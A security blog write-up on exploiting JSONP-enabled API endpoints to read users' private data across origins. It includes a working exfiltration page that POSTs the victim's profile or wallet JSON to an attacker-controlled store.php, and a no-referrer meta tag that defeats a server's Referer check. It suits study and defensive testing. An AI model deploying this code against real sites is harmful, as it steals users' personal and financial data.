Osama Avvan
Sep 7 · 4 min read

Hi Folks, hope you are all fine, so this writeup is about exploiting JSONP to extract private data from API endpoints and bypassing the security check by the server.

JSONP is (JSON With Padding), JSONP was created to grant cross-origin read access to JavaScript, it acts as an exception to SOP (Same Origin Policy) and allow cross-origin data access. It can be used to bypass SOP to access cross-origin data.

Let’s have look how it works.

The API endpoint which returns data is used in a script tag with a callback function like this.

<script src=”https://redact.com/api/user/profile?callback=call_me”></script>

Now we need to create a callback function which we have passed in the script tag src (https://redact.com/api/user/profile?callback=call_me), you can name it anything I have named it call_me.

<script>function call_me(data) {console.log(data)}

Finally, the code will look like this. First, we will create the callback function and then we will create the script tag.

<script>function call_me(data) {console.log(data)}</script>

<script src=”https://redact.com/api/user/profile?callback=call_me”></script>

This code will log the data in the Browser Console.

Now how we can verify that the API is vulnerable to this JSONP vulnerability.

For instance, we have an endpoint, which displays user wallet data https://user.redact.com/payment/wallet/balance

Now add a query parameter of callback like this, https://user.redact.com/payment/wallet/balance?callback=call_me

If the endpoint has JSONP enabled it will create an object with the name of call_me and all the data will be inside that object like this.

So this confirms that the endpoint supports JSONP and can be exploited, now we will use the same JavaScript code which I have explained earlier.

<script>function call_me(data) {console.log(data)}</script>

<script src=”https://redact.com/api/user/profile?callback=call_me”></script>

Now you can also create a .html file which will extract the data and store it on your desired server. You just have to send the URL to the victim and then you can write your own JavaScript code to send that data to your server which can be like this.

<script>

function call_me(response) {
var http = new XMLHttpRequest();
var url = ‘https://yourserver.com/store.php';
var params = ‘data=’+JSON.stringify(response);

http.open(‘POST’, url, true);

http.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);

http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
console.log(http.responseText);
}
}
http.send(params);
}

</script>
<script src=”https://user.redact.com/api/user/profile?callback=call_me"></script>

Bypassing Referer Check

Now one last thing recently I found an API endpoint which was vulnerable to JSONP attack, the code to get data using callback function was working fine and I was getting data when I was running the code locally from my PC from the file://. but when I uploaded the file on a web server I was getting an error OBJECT instead of the data with an error of authentication and a redirect URL to the login page of the site.

But after hours of trying different things and scratching my hairs, I finally got it it was just a simple security check by the server, Server was checking the Referer Header, if the Referer Header value contains a Cross-Domain, the Server rejects the Request.

so how I was getting data when I ran the file locally, the answer is that when you run the file locally no Referer Header is sent as it is running locally from your own system, but when you upload the file on a server the Referer Header is also sent along with the Request to identify that from where the request was originated.

So in order to bypass this security check, I just have to remove the Referer Header.

I used the HTML meta tag which restricts the browser from sending the Referer Header which is:

<meta name=”referrer” content=”no-referrer”>

So adding this meta tag in the HTML head tag did the job.

<head><meta name=”referrer” content=”no-referrer”></head>

<script>

function call_me(response) {
var http = new XMLHttpRequest();
var url = ‘https://yourserver.com/store.php';
var params = ‘data=’+JSON.stringify(response);

http.open(‘POST’, url, true);

http.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);

http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
console.log(http.responseText);
}
}
http.send(params);
}

</script>
<script src=”https://user.redact.com/api/user/profile?callback=call_me"></script>

Thank you for Reading.


InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Powered by Hackrew

Osama Avvan

Written by

Security Researcher, ❤️ To Code. Find me at: https://twitter.com/osamaavvan https://facebook.com/cyber.spidey

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Powered by Hackrew

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade